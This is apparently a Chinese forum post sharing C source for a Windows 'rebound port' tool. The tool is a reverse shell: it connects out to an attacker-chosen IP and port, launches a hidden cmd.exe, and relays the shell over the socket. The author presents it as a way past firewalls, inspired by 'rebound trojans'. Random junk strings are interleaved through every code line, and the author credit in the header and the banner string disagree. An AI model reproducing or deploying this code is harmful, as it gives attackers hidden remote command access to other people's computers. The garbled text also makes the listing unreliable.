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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 <K^a2 D  
k^%=\c  
/* ============================== LhLAQ2~  
Rebound port in Windows NT GoybkwFjZ  
By wind,2006/7 w~6UOA8}  
===============================*/ g0zzDv7~  
#include Q")Xg:  
#include >IaGa!4  
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#pragma comment(lib,"wsock32.lib") BQ Pmo1B  
gaz7u8$A=  
void OutputShell(); }2;P`s  
SOCKET sClient; b69nj  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; G"F O%3&|  
7e+C5W*9b  
void main(int argc,char **argv) 0}<blU  
{ Yt#; +*d5  
WSADATA stWsaData; F0_w9"3E~  
int nRet; fU|v[  
SOCKADDR_IN stSaiClient,stSaiServer; .S|7$_9;b  
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if(argc != 3) M99ku'  
{ 6m?<"y8]  
printf("Useage:\n\rRebound DestIP DestPort\n"); XF(D%ygeC  
return;  =Iop  
} |-V:#1wR.]  
&233QRYM  
WSAStartup(MAKEWORD(2,2),&stWsaData); (y]Z*p:EW  
L@H^?1*L?  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); jaEe$2F2  
bI ;I<Qa  
stSaiClient.sin_family = AF_INET; MBt\"b#t  
stSaiClient.sin_port = htons(0); &'fER-  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); pSlc (M>  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) `r SOt *<  
{ yq ;[1O_9C  
printf("Bind Socket Failed!\n"); 1=J& ^O{W  
return; i5TGK#3o  
} \|S%zX  
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stSaiServer.sin_family = AF_INET; vgy.fP"@  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); KR$Fd  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 14'\@xJMM  
x$-kw{N  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) -/?)0E  
{ gNW+Dq|X%  
printf("Connect Error!"); ^ELZ35=qZ  
return; kV1L.Xg  
} 5vLXMdN  
OutputShell(); ;'{7wr|9  
} Zm0VaOT$I  
23r(4  
void OutputShell() Y!xPmL^]?  
{ ~b]enG5xS4  
char szBuff[1024]; >gp53\  
SECURITY_ATTRIBUTES stSecurityAttributes; v)O0i2  
OSVERSIONINFO stOsversionInfo; 3/]1m9x  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; E$ \l57  
STARTUPINFO stStartupInfo; [E p'm  
char *szShell; rEWJ3*Hb  
PROCESS_INFORMATION stProcessInformation; =i  vlS  
unsigned long lBytesRead; B<EqzP*#  
 ]+Whv%M  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ~!Sd|e:4  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); *>W<n1r@]  
stSecurityAttributes.lpSecurityDescriptor = 0; 7T[$BrO\  
stSecurityAttributes.bInheritHandle = TRUE; nPvys~D  
mBwz.KEm<  
8D)1ZUx7`  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 2J t{oh|  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ;l!<A  
3H!]X M  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); i_N8)Z;r  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; HFP'b=?`]|  
stStartupInfo.wShowWindow = SW_HIDE; AI3x,rk#  
stStartupInfo.hStdInput = hReadPipe; ;wMu  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ZS+m}.,whQ  
8i[TeW"  
GetVersionEx(&stOsversionInfo); Kuh3.1#o  
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switch(stOsversionInfo.dwPlatformId) $!wU [/k  
{ W<)nC_$  
case 1: 2z !05]B%  
szShell = "command.com"; L~PiDQr?r  
break; {g nl6+j  
default: GY?u+|Q  
szShell = "cmd.exe"; ~v(c9I)  
break; 7u;N/@  
} 05H:ZrUV  
2+y wy^  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); i ed 1+H  
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send(sClient,szMsg,77,0); H_f8/H  
while(1) ?S& yF  
{ z&H.fsL  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); By6O@ .\V  
if(lBytesRead) 1P"7.{  
{ W)ug %@)  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); #EUT"^:d  
send(sClient,szBuff,lBytesRead,0); 3\RD %[}  
} ;O)*!yA(GG  
else e^ N~)Nlj  
{ #"-_~  
lBytesRead=recv(sClient,szBuff,1024,0); KH#z =_  
if(lBytesRead<=0) break; 5nib<B%<V  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ;!f~  
} `r1j>F7Xb  
} VB905%  
F#|y,<}<  
return; kO}%Y?9d  
}
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